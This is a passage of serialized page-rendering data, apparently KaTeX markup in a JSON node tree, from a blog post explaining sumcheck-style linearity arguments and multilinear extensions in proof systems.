is",{"type":22,"tag":23,"props":114530,"children":114531},{},[114532],{"type":22,"tag":30,"props":114533,"children":114535},{"className":114534},[8026,8027],[114536],{"type":22,"tag":101,"props":114537,"children":114539},{"className":114538},[8032],[114540],{"type":22,"tag":101,"props":114541,"children":114543},{"className":114542,"ariaHidden":5608},[8037],[114544,114623,114768,114794,114821,114899,114925,115022,115058,115136,115172,115260,115352],{"type":22,"tag":101,"props":114545,"children":114547},{"className":114546},[8042],[114548,114553,114610,114614,114619],{"type":22,"tag":101,"props":114549,"children":114552},{"className":114550,"style":114551},[8047],"height:0.8333em;vertical-align:-0.15em;",[],{"type":22,"tag":101,"props":114554,"children":114556},{"className":114555},[8053],[114557,114562],{"type":22,"tag":101,"props":114558,"children":114560},{"className":114559,"style":96788},[8053,25575],[114561],{"type":27,"value":96791},{"type":22,"tag":101,"props":114563,"children":114565},{"className":114564},[8069],[114566],{"type":22,"tag":101,"props":114567,"children":114569},{"className":114568},[8074,25629],[114570,114599],{"type":22,"tag":101,"props":114571,"children":114573},{"className":114572},[8079],[114574,114594],{"type":22,"tag":101,"props":114575,"children":114577},{"className":114576,"style":97083},[8084],[114578],{"type":22,"tag":101,"props":114579,"children":114580},{"style":113983},[114581,114585],{"type":22,"tag":101,"props":114582,"children":114584},{"className":114583,"style":8094},[8093],[],{"type":22,"tag":101,"props":114586,"children":114588},{"className":114587},[8099,8100,8101,8102],[114589],{"type":22,"tag":101,"props":114590,"children":114592},{"className":114591},[8053,25575,8102],[114593],{"type":27,"value":7774},{"type":22,"tag":101,"props":114595,"children":114597},{"className":114596},[25732],[114598],{"type":27,"value":25735},{"type":22,"tag":101,"props":114600,"children":114602},{"className":114601},[8079],[114603],{"type":22,"tag":101,"props":114604,"children":114606},{"className":114605,"style":96637},[8084],[114607],{"type":22,"tag":101,"props":114608,"children":114609},{},[],{"type":22,"tag":101,"props":114611,"children":114613},{"className":114612,"style":8231},[8133],[],{"type":22,"tag":101,"props":114615,"children":114617},{"className":114616},[8236],[114618],{"type":27,"value":1511},{"type":22,"tag":101,"props":114620,"children":114622},{"className":114621,"style":8231},[8133],[],{"type":22,"tag":101,"props":114624,"children":114626},{"className":114625},[8042],[114627,114631,114688,114693,114750,114755,114759,114764],{"type":22,"tag":101,"props":114628,"children":114630},{"className":114629,"style":8154},[8047],[],{"type":22,"tag":101,"props":114632,"children":114634},{"className":114633},[8053],[114635,114640],{"type":22,"tag":101,"props":114636,"children":114638},{"className":114637,"style":97040},[8053,25575],[114639],{"type":27,"value":112805},{"type":22,"tag":101,"props":114641,"children":114643},{"className":114642},[8069],[114644],{"type":22,"tag":101,"props":114645,"children":114647},{"className":114646},[8074,25629],[114648,114677],{"type":22,"tag":101,"props":114649,"children":114651},{"className":114650},[8079],[114652,114672],{"type":22,"tag":101,"props":114653,"children":114655},{"className":114654,"style":97083},[8084],[114656],{"type":22,"tag":101,"props":114657,"children":114658},{"style":97087},[114659,114663],{"type":22,"tag":101,"props":114660,"children":114662},{"className":114661,"style":8094},[8093],[],{"type":22,"tag":101,"props":114664,"children":114666},{"className":114665},[8099,8100,8101,8102],[114667],{"type":22,"tag":101,"props":114668,"children":114670},{"className":114669},[8053,25575,8102],[114671],{"type":27,"value":7774},{"type":22,"tag":101,"props":114673,"children":114675},{"className":114674},[25732],[114676],{"type":27,"value":25735},{"type":22,"tag":101,"props":114678,"children":114680},{"className":114679},[8079],[114681],{"type":22,"tag":101,"props":114682,"children":114684},{"className":114683,"style":96637},[8084],[114685],{"type":22,"tag":101,"props":114686,"children":114687},{},[],{"type":22,"tag":101,"props":114689,"children":114691},{"className":114690},[25704],[114692],{"type":27,"value":980},{"type":22,"tag":101,"props":114694,"children":114696},{"className":114695},[8053],[114697,114702],{"type":22,"tag":101,"props":114698,"children":114700},{"className":114699,"style":96554},[8053,25575],[114701],{"type":27,"value":97373},{"type":22,"tag":101,"props":114703,"children":114705},{"className":114704},[8069],[114706],{"type":22,"tag":101,"props":114707,"children":114709},{"className":114708},[8074,25629],[114710,114739],{"type":22,"tag":101,"props":114711,"children":114713},{"className":114712},[8079],[114714,114734],{"type":22,"tag":101,"props":114715,"children":114717},{"className":114716,"style":97083},[8084],[114718],{"type":22,"tag":101,"props":114719,"children":114720},{"style":113553},[114721,114725],{"type":22,"tag":101,"props":114722,"children":114724},{"className":114723,"style":8094},[8093],[],{"type":22,"tag":101,"props":114726,"children":114728},{"className":114727},[8099,8100,8101,8102],[114729],{"type":22,"tag":101,"props":114730,"children":114732},{"className":114731},[8053,25575,8102],[114733],{"type":27,"value":7774},{"type":22,"tag":101,"props":114735,"children":114737},{"className":114736},[25732],[114738],{"type":27,"value":25735},{"type":22,"tag":101,"props":114740,"children":114742},{"className":114741},[8079],[114743],{"type":22,"tag":101,"props":114744,"children":114746},{"className":114745,"style":96637},[8084],[114747],{"type":22,"tag":101,"props":114748,"children":114749},{},[],{"type":22,"tag":101,"props":114751,"children":114753},{"className":114752},[25726],[114754],{"type":27,"value":2261},{"type":22,"tag":101,"props":114756,"children":114758},{"className":114757,"style":8231},[8133],[],{"type":22,"tag":101,"props":114760,"children":114762},{"className":114761},[8236],[114763],{"type":27,"value":1511},{"type":22,"tag":101,"props":114765,"children":114767},{"className":114766,"style":8231},[8133],[],{"type":22,"tag":101,"props":114769,"children":114771},{"className":114770},[8042],[114772,114776,114781,114785,114790],{"type":22,"tag":101,"props":114773,"children":114775},{"className":114774,"style":113709},[8047],[],{"type":22,"tag":101,"props":114777,"children":114779},{"className":114778},[8053,25575],[114780],{"type":27,"value":80},{"type":22,"tag":101,"props":114782,"children":114784},{"className":114783,"style":8134},[8133],[],{"type":22,"tag":101,"props":114786,"children":114788},{"className":114787},[8139],[114789],{"type":27,"value":8426},{"type":22,"tag":101,"props":114791,"children":114793},{"className":114792,"style":8134},[8133],[],{"type":22,"tag":101,"props":114795,"children":114797},{"className":114796},[8042],[114798,114802,114807,114811,114817],{"type":22,"tag":101,"props":114799,"children":114801},{"className":114800,"style":96469},[8047],[],{"type":22,"tag":101,"props":114803,"children":114805},{"className":114804},[8053,25575],[114806],{"type":27,"value":7262},{"type":22,"tag":101,"props":114808,"children":114810},{"className":114809,"style":8134},[8133],[],{"type":22,"tag":101,"props":114812,"children":114814},{"className":114813},[8139],[114815],{"type":27,"value":114816},"⋅",{"type":22,"tag":101,"props":114818,"children":114820},{"className":114819,"style":8134},[8133],[],{"type":22,"tag":101,"props":114822,"children":114824},{"className":114823},[8042],[114825,114829,114886,114890,114895],{"type":22,"tag":101,"props":114826,"children":114828},{"className":114827,"style":113524},[8047],[],{"type":22,"tag":101,"props":114830,"children":114832},{"className":114831},[8053],[114833,114838],{"type":22,"tag":101,"props":114834,"children":114836},{"className":114835,"style":96554},[8053,25575],[114837],{"type":27,"value":97373},{"type":22,"tag":101,"props":114839,"children":114841},{"className":114840},[8069],[114842],{"type":22,"tag":101,"props":114843,"children":114845},{"className":114844},[8074,25629],[114846,114875],{"type":22,"tag":101,"props":114847,"children":114849},{"className":114848},[8079],[114850,114870],{"type":22,"tag":101,"props":114851,"children":114853},{"className":114852,"style":97083},[8084],[114854],{"type":22,"tag":101,"props":114855,"children":114856},{"style":113553},[114857,114861],{"type":22,"tag":101,"props":114858,"children":114860},{"className":114859,"style":8094},[8093],[],{"type":22,"tag":101,"props":114862,"children":114864},{"className":114863},[8099,8100,8101,8102],[114865],{"type":22,"tag":101,"props":114866,"children":114868},{"className":114867},[8053,25575,8102],[114869],{"type":27,"value":7774},{"type":22,"tag":101,"props":114871,"children":114873},{"className":114872},[25732],[114874],{"type":27,"value":25735},{"type":22,"tag":101,"props":114876,"children":114878},{"className":114877},[8079],[114879],{"type":22,"tag":101,"props":114880,"children":114882},{"className":114881,"style":96637},[8084],[114883],{"type":22,"tag":101,"props":114884,"children":114885},{},[],{"type":22,"tag":101,"props":114887,"children":114889},{"className":114888,"style":8231},[8133],[],{"type":22,"tag":101,"props":114891,"children":114893},{"className":114892},[8236],[114894],{"type":27,"value":1511},{"type":22,"tag":101,"props":114896,"children":114898},{"className":114897,"style":8231},[8133],[],{"type":22,"tag":101,"props":114900,"children":114902},{"className":114901},[8042],[114903,114907,114912,114916,114921],{"type":22,"tag":101,"props":114904,"children":114906},{"className":114905,"style":113709},[8047],[],{"type":22,"tag":101,"props":114908,"children":114910},{"className":114909},[8053,25575],[114911],{"type":27,"value":80},{"type":22,"tag":101,"props":114913,"children":114915},{"className":114914,"style":8134},[8133],[],{"type":22,"tag":101,"props":114917,"children":114919},{"className":114918},[8139],[114920],{"type":27,"value":8426},{"type":22,"tag":101,"props":114922,"children":114924},{"className":114923,"style":8134},[8133],[],{"type":22,"tag":101,"props":114926,"children":114928},{"className":114927},[8042],[114929,114933,114938,115009,115013,115018],{"type":22,"tag":101,"props":114930,"children":114932},{"className":114931,"style":8154},[8047],[],{"type":22,"tag":101,"props":114934,"children":114936},{"className":114935},[25704],[114937],{"type":27,"value":980},{"type":22,"tag":101,"props":114939,"children":114941},{"className":114940},[8053],[114942,114947],{"type":22,"tag":101,"props":114943,"children":114945},{"className":114944,"style":96788},[8053,25575],[114946],{"type":27,"value":96791},{"type":22,"tag":101,"props":114948,"children":114950},{"className":114949},[8069],[114951],{"type":22,"tag":101,"props":114952,"children":114954},{"className":114953},[8074,25629],[114955,114998],{"type":22,"tag":101,"props":114956,"children":114958},{"className":114957},[8079],[114959,114993],{"type":22,"tag":101,"props":114960,"children":114962},{"className":114961,"style":97083},[8084],[114963],{"type":22,"tag":101,"props":114964,"children":114965},{"style":113983},[114966,114970],{"type":22,"tag":101,"props":114967,"children":114969},{"className":114968,"style":8094},[8093],[],{"type":22,"tag":101,"props":114971,"children":114973},{"className":114972},[8099,8100,8101,8102],[114974],{"type":22,"tag":101,"props":114975,"children":114977},{"className":114976},[8053,8102],[114978,114983,114988],{"type":22,"tag":101,"props":114979,"children":114981},{"className":114980},[8053,25575,8102],[114982],{"type":27,"value":7774},{"type":22,"tag":101,"props":114984,"children":114986},{"className":114985},[8139,8102],[114987],{"type":27,"value":8113},{"type":22,"tag":101,"props":114989,"children":114991},{"className":114990},[8053,8102],[114992],{"type":27,"value":6813},{"type":22,"tag":101,"props":114994,"children":114996},{"className":114995},[25732],[114997],{"type":27,"value":25735},{"type":22,"tag":101,"props":114999,"children":115001},{"className":115000},[8079],[115002],{"type":22,"tag":101,"props":115003,"children":115005},{"className":115004,"style":114024},[8084],[115006],{"type":22,"tag":101,"props":115007,"children":115008},{},[],{"type":22,"tag":101,"props":115010,"children":115012},{"className":115011,"style":8134},[8133],[],{"type":22,"tag":101,"props":115014,"children":115016},{"className":115015},[8139],[115017],{"type":27,"value":8113},{"type":22,"tag":101,"props":115019,"children":115021},{"className":115020,"style":8134},[8133],[],{"type":22,"tag":101,"props":115023,"children":115025},{"className":115024},[8042],[115026,115030,115035,115040,115045,115049,115054],{"type":22,"tag":101,"props":115027,"children":115029},{"className":115028,"style":8154},[8047],[],{"type":22,"tag":101,"props":115031,"children":115033},{"className":115032},[8053],[115034],{"type":27,"value":7164},{"type":22,"tag":101,"props":115036,"children":115038},{"className":115037},[8053,25575],[115039],{"type":27,"value":80},{"type":22,"tag":101,"props":115041,"children":115043},{"className":115042},[25726],[115044],{"type":27,"value":2261},{"type":22,"tag":101,"props":115046,"children":115048},{"className":115047,"style":8134},[8133],[],{"type":22,"tag":101,"props":115050,"children":115052},{"className":115051},[8139],[115053],{"type":27,"value":114816},{"type":22,"tag":101,"props":115055,"children":115057},{"className":115056,"style":8134},[8133],[],{"type":22,"tag":101,"props":115059,"children":115061},{"className":115060},[8042],[115062,115066,115123,115127,115132],{"type":22,"tag":101,"props":115063,"children":115065},{"className":115064,"style":113524},[8047],[],{"type":22,"tag":101,"props":115067,"children":115069},{"className":115068},[8053],[115070,115075],{"type":22,"tag":101,"props":115071,"children":115073},{"className":115072,"style":96554},[8053,25575],[115074],{"type":27,"value":97373},{"type":22,"tag":101,"props":115076,"children":115078},{"className":115077},[8069],[115079],{"type":22,"tag":101,"props":115080,"children":115082},{"className":115081},[8074,25629],[115083,115112],{"type":22,"tag":101,"props":115084,"children":115086},{"className":115085},[8079],[115087,115107],{"type":22,"tag":101,"props":115088,"children":115090},{"className":115089,"style":97083},[8084],[115091],{"type":22,"tag":101,"props":115092,"children":115093},{"style":113553},[115094,115098],{"type":22,"tag":101,"props":115095,"children":115097},{"className":115096,"style":8094},[8093],[],{"type":22,"tag":101,"props":115099,"children":115101},{"className":115100},[8099,8100,8101,8102],[115102],{"type":22,"tag":101,"props":115103,"children":115105},{"className":115104},[8053,25575,8102],[115106],{"type":27,"value":7774},{"type":22,"tag":101,"props":115108,"children":115110},{"className":115109},[25732],[115111],{"type":27,"value":25735},{"type":22,"tag":101,"props":115113,"children":115115},{"className":115114},[8079],[115116],{"type":22,"tag":101,"props":115117,"children":115119},{"className":115118,"style":96637},[8084],[115120],{"type":22,"tag":101,"props":115121,"children":115122},{},[],{"type":22,"tag":101,"props":115124,"children":115126},{"className":115125,"style":8231},[8133],[],{"type":22,"tag":101,"props":115128,"children":115130},{"className":115129},[8236],[115131],{"type":27,"value":1511},{"type":22,"tag":101,"props":115133,"children":115135},{"className":115134,"style":8231},[8133],[],{"type":22,"tag":101,"props":115137,"children":115139},{"className":115138},[8042],[115140,115144,115149,115154,115159,115163,115168],{"type":22,"tag":101,"props":115141,"children":115143},{"className":115142,"style":8154},[8047],[],{"type":22,"tag":101,"props":115145,"children":115147},{"className":115146},[8053,25575],[115148],{"type":27,"value":80},{"type":22,"tag":101,"props":115150,"children":115152},{"className":115151},[25704],[115153],{"type":27,"value":980},{"type":22,"tag":101,"props":115155,"children":115157},{"className":115156},[8053],[115158],{"type":27,"value":6813},{"type":22,"tag":101,"props":115160,"children":115162},{"className":115161,"style":8134},[8133],[],{"type":22,"tag":101,"props":115164,"children":115166},{"className":115165},[8139],[115167],{"type":27,"value":8113},{"type":22,"tag":101,"props":115169,"children":115171},{"className":115170,"style":8134},[8133],[],{"type":22,"tag":101,"props":115173,"children":115175},{"className":115174},[8042],[115176,115180,115185,115242,115247,115251,115256],{"type":22,"tag":101,"props":115177,"children":115179},{"className":115178,"style":8154},[8047],[],{"type":22,"tag":101,"props":115181,"children":115183},{"className":115182},[8053],[115184],{"type":27,"value":7164},{"type":22,"tag":101,"props":115186,"children":115188},{"className":115187},[8053],[115189,115194],{"type":22,"tag":101,"props":115190,"children":115192},{"className":115191,"style":96554},[8053,25575],[115193],{"type":27,"value":97373},{"type":22,"tag":101,"props":115195,"children":115197},{"className":115196},[8069],[115198],{"type":22,"tag":101,"props":115199,"children":115201},{"className":115200},[8074,25629],[115202,115231],{"type":22,"tag":101,"props":115203,"children":115205},{"className":115204},[8079],[115206,115226],{"type":22,"tag":101,"props":115207,"children":115209},{"className":115208,"style":97083},[8084],[115210],{"type":22,"tag":101,"props":115211,"children":115212},{"style":113553},[115213,115217],{"type":22,"tag":101,"props":115214,"children":115216},{"className":115215,"style":8094},[8093],[],{"type":22,"tag":101,"props":115218,"children":115220},{"className":115219},[8099,8100,8101,8102],[115221],{"type":22,"tag":101,"props":115222,"children":115224},{"className":115223},[8053,25575,8102],[115225],{"type":27,"value":7774},{"type":22,"tag":101,"props":115227,"children":115229},{"className":115228},[25732],[115230],{"type":27,"value":25735},{"type":22,"tag":101,"props":115232,"children":115234},{"className":115233},[8079],[115235],{"type":22,"tag":101,"props":115236,"children":115238},{"className":115237,"style":96637},[8084],[115239],{"type":22,"tag":101,"props":115240,"children":115241},{},[],{"type":22,"tag":101,"props":115243,"children":115245},{"className":115244},[25726],[115246],{"type":27,"value":2261},{"type":22,"tag":101,"props":115248,"children":115250},{"className":115249,"style":8134},[8133],[],{"type":22,"tag":101,"props":115252,"children":115254},{"className":115253},[8139],[115255],{"type":27,"value":8426},{"type":22,"tag":101,"props":115257,"children":115259},{"className":115258,"style":8134},[8133],[],{"type":22,"tag":101,"props":115261,"children":115263},{"className":115262},[8042],[115264,115268,115339,115343,115348],{"type":22,"tag":101,"props":115265,"children":115267},{"className":115266,"style":113954},[8047],[],{"type":22,"tag":101,"props":115269,"children":115271},{"className":115270},[8053],[115272,115277],{"type":22,"tag":101,"props":115273,"children":115275},{"className":115274,"style":96788},[8053,25575],[115276],{"type":27,"value":96791},{"type":22,"tag":101,"props":115278,"children":115280},{"className":115279},[8069],[115281],{"type":22,"tag":101,"props":115282,"children":115284},{"className":115283},[8074,25629],[115285,115328],{"type":22,"tag":101,"props":115286,"children":115288},{"className":115287},[8079],[115289,115323],{"type":22,"tag":101,"props":115290,"children":115292},{"className":115291,"style":97083},[8084],[115293],{"type":22,"tag":101,"props":115294,"children":115295},{"style":113983},[115296,115300],{"type":22,"tag":101,"props":115297,"children":115299},{"className":115298,"style":8094},[8093],[],{"type":22,"tag":101,"props":115301,"children":115303},{"className":115302},[8099,8100,8101,8102],[115304],{"type":22,"tag":101,"props":115305,"children":115307},{"className":115306},[8053,8102],[115308,115313,115318],{"type":22,"tag":101,"props":115309,"children":115311},{"className":115310},[8053,25575,8102],[115312],{"type":27,"value":7774},{"type":22,"tag":101,"props":115314,"children":115316},{"className":115315},[8139,8102],[115317],{"type":27,"value":8113},{"type":22,"tag":101,"props":115319,"children":115321},{"className":115320},[8053,8102],[115322],{"type":27,"value":6813},{"type":22,"tag":101,"props":115324,"children":115326},{"className":115325},[25732],[115327],{"type":27,"value":25735},{"type":22,"tag":101,"props":115329,"children":115331},{"className":115330},[8079],[115332],{"type":22,"tag":101,"props":115333,"children":115335},{"className":115334,"style":114024},[8084],[115336],{"type":22,"tag":101,"props":115337,"children":115338},{},[],{"type":22,"tag":101,"props":115340,"children":115342},{"className":115341,"style":8134},[8133],[],{"type":22,"tag":101,"props":115344,"children":115346},{"className":115345},[8139],[115347],{"type":27,"value":114816},{"type":22,"tag":101,"props":115349,"children":115351},{"className":115350,"style":8134},[8133],[],{"type":22,"tag":101,"props":115353,"children":115355},{"className":115354},[8042],[115356,115360],{"type":22,"tag":101,"props":115357,"children":115359},{"className":115358,"style":113524},[8047],[],{"type":22,"tag":101,"props":115361,"children":115363},{"className":115362},[8053],[115364,115369],{"type":22,"tag":101,"props":115365,"children":115367},{"className":115366,"style":96554},[8053,25575],[115368],{"type":27,"value":97373},{"type":22,"tag":101,"props":115370,"children":115372},{"className":115371},[8069],[115373],{"type":22,"tag":101,"props":115374,"children":115376},{"className":115375},[8074,25629],[115377,115406],{"type":22,"tag":101,"props":115378,"children":115380},{"className":115379},[8079],[115381,115401],{"type":22,"tag":101,"props":115382,"children":115384},{"className":115383,"style":97083},[8084],[115385],{"type":22,"tag":101,"props":115386,"children":115387},{"style":113553},[115388,115392],{"type":22,"tag":101,"props":115389,"children":115391},{"className":115390,"style":8094},[8093],[],{"type":22,"tag":101,"props":115393,"children":115395},{"className":115394},[8099,8100,8101,8102],[115396],{"type":22,"tag":101,"props":115397,"children":115399},{"className":115398},[8053,25575,8102],[115400],{"type":27,"value":7774},{"type":22,"tag":101,"props":115402,"children":115404},{"className":115403},[25732],[115405],{"type":27,"value":25735},{"type":22,"tag":101,"props":115407,"children":115409},{"className":115408},[8079],[115410],{"type":22,"tag":101,"props":115411,"children":115413},{"className":115412,"style":96637},[8084],[115414],{"type":22,"tag":101,"props":115415,"children":115416},{},[],{"type":22,"tag":23,"props":115418,"children":115419},{},[115420,115421,115517,115519,115544,115546,115571],{"type":27,"value":50132},{"type":22,"tag":9370,"props":115422,"children":115423},{},[115424,115426],{"type":27,"value":115425},"linear in ",{"type":22,"tag":30,"props":115427,"children":115429},{"className":115428},[8026,8027],[115430],{"type":22,"tag":101,"props":115431,"children":115433},{"className":115432},[8032],[115434],{"type":22,"tag":101,"props":115435,"children":115437},{"className":115436,"ariaHidden":5608},[8037],[115438],{"type":22,"tag":101,"props":115439,"children":115441},{"className":115440},[8042],[115442,115446],{"type":22,"tag":101,"props":115443,"children":115445},{"className":115444,"style":113954},[8047],[],{"type":22,"tag":101,"props":115447,"children":115449},{"className":115448},[8053],[115450,115455],{"type":22,"tag":101,"props":115451,"children":115453},{"className":115452,"style":96788},[8053,25575],[115454],{"type":27,"value":96791},{"type":22,"tag":101,"props":115456,"children":115458},{"className":115457},[8069],[115459],{"type":22,"tag":101,"props":115460,"children":115462},{"className":115461},[8074,25629],[115463,115506],{"type":22,"tag":101,"props":115464,"children":115466},{"className":115465},[8079],[115467,115501],{"type":22,"tag":101,"props":115468,"children":115470},{"className":115469,"style":97083},[8084],[115471],{"type":22,"tag":101,"props":115472,"children":115473},{"style":113983},[115474,115478],{"type":22,"tag":101,"props":115475,"children":115477},{"className":115476,"style":8094},[8093],[],{"type":22,"tag":101,"props":115479,"children":115481},{"className":115480},[8099,8100,8101,8102],[115482],{"type":22,"tag":101,"props":115483,"children":115485},{"className":115484},[8053,8102],[115486,115491,115496],{"type":22,"tag":101,"props":115487,"children":115489},{"className":115488},[8053,25575,8102],[115490],{"type":27,"value":7774},{"type":22,"tag":101,"props":115492,"children":115494},{"className":115493},[8139,8102],[115495],{"type":27,"value":8113},{"type":22,"tag":101,"props":115497,"children":115499},{"className":115498},[8053,8102],[115500],{"type":27,"value":6813},{"type":22,"tag":101,"props":115502,"children":115504},{"className":115503},[25732],[115505],{"type":27,"value":25735},{"type":22,"tag":101,"props":115507,"children":115509},{"className":115508},[8079],[115510],{"type":22,"tag":101,"props":115511,"children":115513},{"className":115512,"style":114024},[8084],[115514],{"type":22,"tag":101,"props":115515,"children":115516},{},[],{"type":27,"value":115518},"! By induction, the final claim is linear in the original ",{"type":22,"tag":30,"props":115520,"children":115522},{"className":115521},[8026,8027],[115523],{"type":22,"tag":101,"props":115524,"children":115526},{"className":115525},[8032],[115527],{"type":22,"tag":101,"props":115528,"children":115530},{"className":115529,"ariaHidden":5608},[8037],[115531],{"type":22,"tag":101,"props":115532,"children":115534},{"className":115533},[8042],[115535,115539],{"type":22,"tag":101,"props":115536,"children":115538},{"className":115537,"style":25570},[8047],[],{"type":22,"tag":101,"props":115540,"children":115542},{"className":115541,"style":96788},[8053,25575],[115543],{"type":27,"value":96791},{"type":27,"value":115545},". If ",{"type":22,"tag":30,"props":115547,"children":115549},{"className":115548},[8026,8027],[115550],{"type":22,"tag":101,"props":115551,"children":115553},{"className":115552},[8032],[115554],{"type":22,"tag":101,"props":115555,"children":115557},{"className":115556,"ariaHidden":5608},[8037],[115558],{"type":22,"tag":101,"props":115559,"children":115561},{"className":115560},[8042],[115562,115566],{"type":22,"tag":101,"props":115563,"children":115565},{"className":115564,"style":25570},[8047],[],{"type":22,"tag":101,"props":115567,"children":115569},{"className":115568,"style":96788},[8053,25575],[115570],{"type":27,"value":96791},{"type":27,"value":115572}," isn't in the transcript, we can solve for it.",{"type":22,"tag":1760,"props":115574,"children":115576},{"id":115575},"multilinear-extensions-mles",[115577],{"type":27,"value":115578},"Multilinear Extensions (MLEs)",{"type":22,"tag":23,"props":115580,"children":115581},{},[115582,115584,115669],{"type":27,"value":115583},"An MLE is just the polynomial view of a table over ",{"type":22,"tag":30,"props":115585,"children":115587},{"className":115586},[8026,8027],[115588],{"type":22,"tag":101,"props":115589,"children":115591},{"className":115590},[8032],[115592],{"type":22,"tag":101,"props":115593,"children":115595},{"className":115594,"ariaHidden":5608},[8037],[115596],{"type":22,"tag":101,"props":115597,"children":115599},{"className":115598},[8042],[115600,115604,115609,115614,115619,115623,115628],{"type":22,"tag":101,"props":115601,"children":115603},{"className":115602,"style":8154},[8047],[],{"type":22,"tag":101,"props":115605,"children":115607},{"className":115606},[25704],[115608],{"type":27,"value":80125},{"type":22,"tag":101,"props":115610,"children":115612},{"className":115611},[8053],[115613],{"type":27,"value":8065},{"type":22,"tag":101,"props":115615,"children":115617},{"className":115616},[8165],[115618],{"type":27,"value":8168},{"type":22,"tag":101,"props":115620,"children":115622},{"className":115621,"style":8172},[8133],[],{"type":22,"tag":101,"props":115624,"children":115626},{"className":115625},[8053],[115627],{"type":27,"value":6813},{"type":22,"tag":101,"props":115629,"children":115631},{"className":115630},[25726],[115632,115637],{"type":22,"tag":101,"props":115633,"children":115635},{"className":115634},[25726],[115636],{"type":27,"value":38136},{"type":22,"tag":101,"props":115638,"children":115640},{"className":115639},[8069],[115641],{"type":22,"tag":101,"props":115642,"children":115644},{"className":115643},[8074],[115645],{"type":22,"tag":101,"props":115646,"children":115648},{"className":115647},[8079],[115649],{"type":22,"tag":101,"props":115650,"children":115652},{"className":115651,"style":112271},[8084],[115653],{"type":22,"tag":101,"props":115654,"children":115655},{"style":8088},[115656,115660],{"type":22,"tag":101,"props":115657,"children":115659},{"className":115658,"style":8094},[8093],[],{"type":22,"tag":101,"props":115661,"children":115663},{"className":115662},[8099,8100,8101,8102],[115664],{"type":22,"tag":101,"props":115665,"children":115667},{"className":115666},[8053,25575,8102],[115668],{"type":27,"value":60400},{"type":27,"value":115670},": it matches the table on Boolean points and extends it to field points.",{"type":22,"tag":23,"props":115672,"children":115673},{},[115674],{"type":27,"value":115675},"For this post, the only property you need is:",{"type":22,"tag":23,"props":115677,"children":115678},{},[115679],{"type":22,"tag":30,"props":115680,"children":115682},{"className":115681},[8026,8027],[115683],{"type":22,"tag":101,"props":115684,"children":115686},{"className":115685},[8032],[115687],{"type":22,"tag":101,"props":115688,"children":115690},{"className":115689,"ariaHidden":5608},[8037],[115691,115853,116125],{"type":22,"tag":101,"props":115692,"children":115694},{"className":115693},[8042],[115695,115700,115769,115774,115835,115840,115844,115849],{"type":22,"tag":101,"props":115696,"children":115699},{"className":115697,"style":115698},[8047],"height:1.1813em;vertical-align:-0.25em;",[],{"type":22,"tag":101,"props":115701,"children":115704},{"className":115702},[8053,115703],"accent",[115705],{"type":22,"tag":101,"props":115706,"children":115708},{"className":115707},[8074,25629],[115709,115757],{"type":22,"tag":101,"props":115710,"children":115712},{"className":115711},[8079],[115713,115752],{"type":22,"tag":101,"props":115714,"children":115717},{"className":115715,"style":115716},[8084],"height:0.9313em;",[115718,115732],{"type":22,"tag":101,"props":115719,"children":115721},{"style":115720},"top:-3em;",[115722,115727],{"type":22,"tag":101,"props":115723,"children":115726},{"className":115724,"style":115725},[8093],"height:3em;",[],{"type":22,"tag":101,"props":115728,"children":115730},{"className":115729,"style":98908},[8053,25575],[115731],{"type":27,"value":37080},{"type":22,"tag":101,"props":115733,"children":115735},{"style":115734},"top:-3.6134em;",[115736,115740],{"type":22,"tag":101,"props":115737,"children":115739},{"className":115738,"style":115725},[8093],[],{"type":22,"tag":101,"props":115741,"children":115745},{"className":115742,"style":115744},[115743],"accent-body","left:-0.0833em;",[115746],{"type":22,"tag":101,"props":115747,"children":115749},{"className":115748},[8053],[115750],{"type":27,"value":115751},"~",{"type":22,"tag":101,"props":115753,"children":115755},{"className":115754},[25732],[115756],{"type":27,"value":25735},{"type":22,"tag":101,"props":115758,"children":115760},{"className":115759},[8079],[115761],{"type":22,"tag":101,"props":115762,"children":115765},{"className":115763,"style":115764},[8084],"height:0.1944em;",[115766],{"type":22,"tag":101,"props":115767,"children":115768},{},[],{"type":22,"tag":101,"props":115770,"children":115772},{"className":115771},[25704],[115773],{"type":27,"value":980},{"type":22,"tag":101,"props":115775,"children":115777},{"className":115776},[8053,115703],[115778],{"type":22,"tag":101,"props":115779,"children":115781},{"className":115780},[8074],[115782],{"type":22,"tag":101,"props":115783,"children":115785},{"className":115784},[8079],[115786],{"type":22,"tag":101,"props":115787,"children":115790},{"className":115788,"style":115789},[8084],"height:0.714em;",[115791,115803],{"type":22,"tag":101,"props":115792,"children":115793},{"style":115720},[115794,115798],{"type":22,"tag":101,"props":115795,"children":115797},{"className":115796,"style":115725},[8093],[],{"type":22,"tag":101,"props":115799,"children":115801},{"className":115800,"style":96554},[8053,25575],[115802],{"type":27,"value":97373},{"type":22,"tag":101,"props":115804,"children":115805},{"style":115720},[115806,115810],{"type":22,"tag":101,"props":115807,"children":115809},{"className":115808,"style":115725},[8093],[],{"type":22,"tag":101,"props":115811,"children":115814},{"className":115812,"style":115813},[115743],"left:-0.1799em;",[115815],{"type":22,"tag":101,"props":115816,"children":115820},{"className":115817,"style":115819},[115818],"overlay","height:0.714em;width:0.471em;",[115821],{"type":22,"tag":38269,"props":115822,"children":115829},{"xmlns":115823,"width":115824,"height":115825,"style":115826,"viewBox":115827,"preserveAspectRatio":115828},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[115830],{"type":22,"tag":115831,"props":115832,"children":115834},"path",{"d":115833},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 